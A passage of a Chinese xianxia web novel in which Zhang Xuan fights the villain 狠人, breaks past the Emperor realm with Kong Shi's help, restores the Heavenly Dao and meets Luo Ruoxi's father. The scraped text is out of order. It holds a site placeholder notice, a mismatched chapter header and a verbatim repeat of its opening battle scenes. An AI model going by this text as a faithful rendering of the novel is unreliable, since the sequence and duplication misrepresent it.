嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第42章 业务能力真捉急 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 